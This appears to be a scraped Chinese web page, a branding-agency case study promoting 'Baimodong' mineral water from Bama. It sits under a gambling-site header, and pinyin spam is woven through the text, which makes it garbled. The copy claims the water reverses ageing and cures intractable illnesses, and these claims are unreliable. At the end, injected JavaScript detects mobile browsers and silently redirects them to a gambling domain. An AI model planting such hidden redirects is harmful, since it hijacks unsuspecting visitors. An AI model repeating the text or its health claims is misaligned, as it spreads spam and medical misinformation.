">

拉菲平台

百魔洞天,源自巴马的传奇之水

2019-05-30

传(chuan)奇之水(shui),众人向往(wang)的(de)人间甘露

广西巴马是闻名世界的(de)长寿之(zhi)乡,其不(bu)可复(fu)制的(de)自然环境和奇异(yi)的(de)人文景(jing)观(guan)孕育了极(ji)具神秘(mi)色彩的(de)长寿现象,这(zhei)里每十万人中就有30.98位百(bai)岁(sui)寿星,居世界五大长寿之(zhi)乡之(zhi)首。

1.jpg(命(ming)河)

在(zai)(zai)(zai)巴马著名景点百(bai)魔(mo)洞,存在(zai)(zai)(zai)一个神奇(qi)的现象,每年有数十万(wan)人(ren)在(zai)(zai)(zai)这里(li)养生(sheng)治病,其中(zhong)众多人(ren)不远(yuan)万(wan)里(li)带(dai)着敬(jing)意和希望来到(dao)这里(li)取水饮用,甚至形成了独特的“候鸟人(ren)”现象。

一(yi)些人身(shen)体竟然发生了神奇的“逆生长”,甚至一些罹患疑难之症的人都渐渐愈好。百魔洞天的水,如人间甘露,带给众人健康和希望,久而久之,亦被口口相誉为“神仙之水”“传奇之水”。

2.jpg

(百魔(mo)洞(dong))

如(ru)此(ci)好水,应该惠(hui)及众人。

超级品(pin)(pin)牌(pai)咨询,带着华昱三生打造“百魔(mo)洞(dong)天(tian)”天(tian)然(ran)矿泉(quan)水(shui)的(de)初心,挖掘企业的(de)资源(yuan)禀(bing)赋,制定了“传奇之水(shui)”的(de)品(pin)(pin)牌(pai)战(zhan)略,并(bing)在(zai)此基础上(shang),为(wei)其(qi)创(chuang)作(zuo)了“竹瓶(ping)”这一超级图腾,以及“百魔(mo)洞(dong)天(tian),源(yuan)自巴马的(de)传奇之水(shui)”的(de)超级口号(hao),协助其(qi)完(wan)成了品(pin)(pin)牌(pai)形象的(de)塑造,积(ji)累品(pin)(pin)牌(pai)价值资产,打造符(fu)合健(jian)康需求(qiu)的(de)高端饮(yin)用水(shui)品(pin)(pin)牌(pai)。

基于用户洞察,挖掘品牌禀赋,提出百魔洞天“传奇之水”战略

近年来(lai)(lai)水(shui)污染、空气污染等环境(jing)问题日(ri)益严峻,给(ji)人们(men)(men)的(de)(de)(de)健(jian)康(kang)带来(lai)(lai)极大(da)的(de)(de)(de)困扰(rao),“喝一杯健(jian)康(kang)的(de)(de)(de)水(shui)”成(cheng)为(wei)人们(men)(men)迫切的(de)(de)(de)需求。在当(dang)今消费升级中(zhong),2.2亿新(xin)中(zhong)产(chan)已然成(cheng)为(wei)消费中(zhong)坚力量,“得(de)新(xin)中(zhong)产(chan)者得(de)天下”。中(zhong)产(chan)阶(jie)级家(jia)庭(ting)关注(zhu)健(jian)康(kang)与生(sheng)活(huo)品(pin)质(zhi),天然矿泉水(shui)因为(wei)更符合健(jian)康(kang)饮水(shui)的(de)(de)(de)需求,越(yue)来(lai)(lai)越(yue)受到他们(men)(men)的(de)(de)(de)青睐。

3.jpg 

我们(men)意识到有许(xu)多(duo)的中(zhong)产家庭存在着这类需求(qiu),而百(bai)魔洞天却正好拥有符(fu)合需求(qiu)的品牌基因(yin):

1. 百魔洞的传奇(qi)故事
神仙圣(sheng)水,佛(fo)道相融(rong)。佛(fo)学(xue)先师南怀(huai)瑾注(zhu)解《维摩诘经(jing)》曾指出,「在(zai)中国西南有一岩洞(dong)(dong),据说从洞(dong)(dong)内石头缝隙里(li)渗出的岩浆水,是一种能延年(nian)益寿、治病救(jiu)命(ming)的好水。」据考证,这个洞(dong)(dong)很可能就是「百魔洞(dong)(dong)」

2. 康复(fu)者的长(zhang)寿圣水
百(bai)(bai)魔洞(dong)附近,自古以来(lai)盛出百(bai)(bai)岁老(lao)人,长寿老(lao)人绝大多数(shu)都饮(yin)用这里(li)的(de)山泉水(shui)。百(bai)(bai)魔洞(dong)的(de)水(shui)被誉为「巴马长寿养生资源皇冠上的(de)明珠」。每年有数(shu)十万人慕名到百(bai)(bai)魔洞(dong),取水(shui)、饮(yin)水(shui)。

3. 长寿乡(xiang)的神奇之最
百魔洞融喀斯特溶岩、地下涌泉、高强地磁、生态古木于一处,是「长寿乡的神奇之最」。经国家权威机构检测认证,百魔洞的水是“充满生命活力”的小分子团锶型水,更利于人体健康。

这(zhei)些都是百(bai)魔(mo)洞(dong)天的“传(chuan)奇(qi)基因”,百(bai)魔(mo)洞(dong)的水就像是“传(chuan)奇(qi)”一般的存在,带给人们(men)健(jian)康与(yu)希冀(ji)。我们(men)提出,百(bai)魔(mo)洞(dong)天要占领“传(chuan)奇(qi)之水”这(zhei)个超级词(ci)语(yu),利用(yong)天然好水的核心优势去与(yu)消(xiao)费升级下的目标用(yong)户建立关系。

 

打造超级口号及超级图腾, 贯彻“传奇之水”战略

1、一句超级口号,传递品牌核心价值

超级口(kou)号,就是用一句口(kou)语(yu)化的(de)语(yu)言,在简短的(de)时间里快速向目标用户传达企业最想传达的(de)信(xin)息(xi)和利益,最终促(cu)成(cheng)消费者的(de)购买和传播。

基于用户(hu)洞(dong)察,成于用户(hu)口(kou)(kou)(kou)碑,超(chao)级口(kou)(kou)(kou)号建立在深(shen)刻精准用户(hu)洞(dong)察的基础(chu)之上,这是(shi)和用户(hu)产生连接的开始;当消(xiao)费体验获得认可,超(chao)级口(kou)(kou)(kou)号便会被用来进行口(kou)(kou)(kou)碑式宣传(chuan),品牌影响力得以提升。

百魔洞天,源自巴(ba)马的传奇之水”,就是我们的超级口号

4.jpg

一个好的口号,一定要(yao)包含(han)品牌(pai)名称(cheng)。“源自”二字,直接带出产品的产地“巴马”,而(er)“神奇之水”核心(xin)词语又展示(shi)了百魔洞天的品牌(pai)故事及核心(xin)优(you)势,一句(ju)话(hua)给消(xiao)费者清(qing)晰的购买理由!

广告(gao)语(yu)一(yi)定是(shi)口语(yu),不仅是(shi)我(wo)说一(yi)句话给你听(ting),而是(shi)我(wo)说一(yi)句话让(rang)(rang)你传给别人听(ting)。“百(bai)魔(mo)洞天,源自(zi)巴马的传奇之水”,就是(shi)这(zhei)样一(yi)句口语(yu),让(rang)(rang)消(xiao)费者可以一(yi)传十(shi),十(shi)传百(bai),完成品(pin)牌的几何裂(lie)变式传播。

2、超级(ji)图腾,让消(xiao)费者瞬间(jian)记住品(pin)牌(pai)

当品牌完成了(le)传(chuan)播(bo)口号的(de)建立,开始向(xiang)外推(tui)广传(chuan)播(bo)时,你便(bian)会发现(xian)效率十分低下。究其(qi)原因是(shi)因为在做传(chuan)播(bo)之(zhi)前,必须先在消费者脑(nao)海里“植入”最深的(de)印记——品牌的(de)图腾(teng)。

这个图腾的呈现形式不(bu)仅(jin)(jin)仅(jin)(jin)只局限(xian)于一(yi)个符号(hao),它(ta)可(ke)以是一(yi)个IP形象(xiang),也可(ke)以是一(yi)个人物,当然也可(ke)以是任(ren)何具有品牌精神(shen)意义的意象(xiang)化的标(biao)志,它(ta)让品(pin)牌明显区别于其他(ta)的竞争对手,为品(pin)牌提供一种无(wu)可复(fu)制且难以(yi)模(mo)仿的标志

百魔洞(dong)天超级图(tu)腾,就是它与(yu)众不同的瓶身(shen)——竹瓶


5.jpg

为(wei)什么(me)是竹瓶?

源自巴马瑶族的古老智慧,竹子被作为盛水(shui)亲(qin)水(shui)之物。

选用竹瓶盛装“传奇之水”,一方面表达了百魔洞天“让每个城市家庭,都能体验源自巴马的传奇之水”的品牌初心,另一方面也承载着品牌的使命:用每一滴水,带给众人健康与希望;用每一滴水,唤醒对自然生态的珍惜与敬畏。

在(zai)瓶(ping)装饮用水(shui)形象趋于同(tong)质化的(de)混战中,竹瓶(ping)设计为(wei)百魔洞天建(jian)立了品(pin)牌(pai)区隔。让百魔洞天明显区别于其他的(de)竞争对(dui)手,为(wei)品(pin)牌(pai)提(ti)供一种无可复制且难以(yi)模仿的(de)标(biao)志,并(bing)在(zai)消费(fei)者留校最深(shen)的(de)烙印(yin),成为(wei)品(pin)牌(pai)的(de)价值资产(chan)。 

项目(mu)成果

挖掘品牌(pai)(pai)禀赋(fu),打(da)造(zao)超级品牌(pai)(pai)核(he)心定位及战(zhan)略规划;“传奇(qi)”战(zhan)略全面(mian)贯彻,与(yu)新中产(chan)家(jia)庭用户建立紧密的联(lian)系(xi)(xi);系(xi)(xi)统塑(su)造(zao)品牌(pai)(pai)形(xing)象,建立品牌(pai)(pai)核(he)心竞争壁垒,形(xing)成品牌(pai)(pai)价值(zhi)资(zi)产(chan)。

 



var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();